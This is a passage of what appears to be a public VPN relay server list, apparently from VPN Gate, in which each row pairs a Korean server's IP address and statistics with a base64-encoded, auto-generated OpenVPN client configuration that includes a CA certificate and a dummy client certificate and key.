EFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn580134559,220.92.138.37,576421,24,84927089,Korea Republic of,KR,9,1000,65268,6912084250990,2weeks,DESKTOP-LCUU224's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMjAuOTIuMTM4LjM3IDE0MTQNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn299308973,125.138.159.57,570783,27,464517877,Korea Republic of,KR,6,1000,66917,5232642892978,2weeks,DESKTOP-KJLJBHO's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aV